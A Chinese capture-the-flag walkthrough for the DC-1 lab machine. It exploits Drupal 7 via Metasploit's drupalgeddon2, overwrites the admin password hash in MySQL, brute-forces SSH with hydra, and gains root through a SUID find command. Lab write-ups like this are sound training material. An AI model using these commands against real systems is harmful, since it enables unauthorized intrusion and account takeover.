Dc-1靶机渗透(详细过程)

本文详细介绍了如何进行靶场环境搭建,使用KaliLinux对DrupalCMS进行信息收集、漏洞分析和利用,通过NAT模式配置网络,利用Drupal7的漏洞获取系统shell,进一步提权至root权限,最终找到并解密所有flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

靶场下载地址:链接:https://pan.baidu.com/s/1n99vDN5JBOIyLWwMPgnXKw
提取码:9g29

一 环境搭建

将靶场下载至本地解压

使用 Vmware 虚拟机打开.ova 文件

打开文件时会出现导入失败错误,只需要点击重试即可

启动虚拟机之后将网络模式修改为 NAT 模式

本次实验使用 kali Linux 系统进行,启动 kali 虚拟机并把 kali 的网络模式也修改为 NAT 模式,至此环境搭建完成

二 信息收集

使用 nmap 对 DC-1 进行扫描

 
nmap -A -p- 192.168.163.1/24
-A:选定用于使用进攻性方式扫描
-p :指定端口(-p-表示全端口扫描 1-65535)

   

发现 DC-1 靶机开放了 22 端口、80 端口、111 端口、48437 端口,先访问一下 80 端口运行的服务 http://192.168.163.240

三 漏洞分析

发现是 Drupal CMS  接下来我们收集一下 CMS 的版本等信息   使用 whatweb 来探测 CMS 版本

发现该网站使用的 CMS 是 Drupal 7 

我们打开 msf,在 msf 中搜索漏洞 search drupal 7.x ,发现一个可以利用的攻击脚本

四 漏洞利用

使用此脚本(use exploit/unix/webapp/drupal_drupalgeddon2),再使用 options 查看此脚本需要配置的信息

只需要配置 RHOSTS,使用 set rhosts 192.168.163.240(DC-1 的 ip),设置完输入 run,即可得到一个 meterpreter >  键入 shell 命令 获取靶机系统的控制台 shell

我们输入命令发现我们得到的是一个不完整的 shell,所以使用 python 中的 pty 模块,进入 ython 交互 shell

 
python -c 'import pty;pty.spawn("/bin/bash")'

   

我们在 /var/www 目录下发现 flag1

得到提示:任何一个完善的 CMS 都需要配置文件 — 所以你应该怎么做。

提示我们去找配置文件,这里没有技巧,就是挨个目录去找

最终我们发现在 sites 文件下有个 default 文件,里面发现一个配置文件 settings.php

我们查看一下 settings.php

在其中找到 flag2 还有 MySQL 数据库的账号密码

我们查看一下靶机开放的端口果然发现了 3306 端口开放

使用此用户名密码,连接数据库。

 
mysql -udbuser -pR0ck3t;

   

连接成功之后,查看存在的数据库

 
mysql> show databases;

   

使用数据库,查看当前数据库 drupaldb 下的数据表

 
mysql> use drupaldb;
mysql> show tables;

   

在数据表中我们发现有个名为 users 的表,使用数据库查询语句,查询 users 表中的内容。

 
select * from users\G;

   

在 users 表中,发现有 admin 用户,但是密码是加密过的,一般加密的密码是很难破解的,所以选择生成相同加密方式的密文将它替换掉

退出 mysql,回到 /var/www 下执行以下代码,生成相同加密方式的密文

 
exit //退出mysql的shell
cd /var/www //回到网站目录
php scripts/password-hash.sh 设置要替换的密码
php scripts/password-hash.sh 123456

   

再次连接数据库,使用 updata 命令将 admin 的密码替换为刚生成的加密密文

 
update users set pass="$S$DUut/RX6gNACn1FdtJEs0kf0em1r5UzLewFoZ6twvSsJPOJvKX0r" where uid=1;

   

查询 admin 用户的密码看是否替换成功

接下来我们使用 admin/123456,登录网站

进入网站观察页面,点击左上角的 Dashboard,发现 flag3

查看 flag3

根据 flag3 中提示 “去查看存放用户信息的文件和存放密码信息的文件”  查看 /etc/shadow 发现权限不够,查看 etc/passwd,发现用户 flag4, 并且有 /bin/bash,想到靶机开放端口 22,所以想到使用 ssh 连接。

但是不知道 flag4 用户的密码

我们可以使用 kali 自带的 hydra 工具爆破 ssh 密码,使用 kali 自带的密码字典,路径为 /usr/share/john/password.lst

新开一个终端,输入以下命令使用 hydra 爆破 flag4 ssh 密码

 
hydra -l flag4 -P /usr/share/john/password.lst 192.168.163.240 ssh -e nsr -f -vV
-l 指定一个用户名
-P 指定一个密码字典
/--> n    null   空密码
-e ---> s    same   用户名密码相同
\--> r 反向 密码为用户名反向(如 用户名:kali 密码:ilak)
-f 枚举到正确账号密码就停止爆破
-vV 显示爆破过程

   

爆破得到,DC-1 用户名密码为:flag4/orange 的用户 使用 ssh 协议直接连接

 
ssh flag4@192.168.163.240

   

在 flag4 用户家目录下,发现了 flag4   根据提示,我们需要拿到 root 用户的权限,才能得到最终的 flag。

这里使用 suid 提权,通过命令查看是否具有 root 权限的命令。

 
find / -perm -4000 2>/dev/null

   

发现 find 命令具有 root 权限。执行命令提权。

 
flag4@DC-1:~$ mkdir Encat \\创建一个Encat目录
flag4@DC-1:~$ find Encat -exec "whoami" \; \\使用find命令在Encat目录中-exec查找“whoami”

   

经过测试 Encat 目录可以省略  并且将 “whoami” 替换为 “/bin/bash” 不能成功提权    只能替换为 “/bin/sh”  

 
find -exec "/bin/sh" \;

   

通过执行命令,成功提权到 root 用户。切换到 root 目录下,找到最后的 flag,thefinalflag.txt

完结 !!

转载自:Dc-1靶机渗透 – Encat'Blog

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值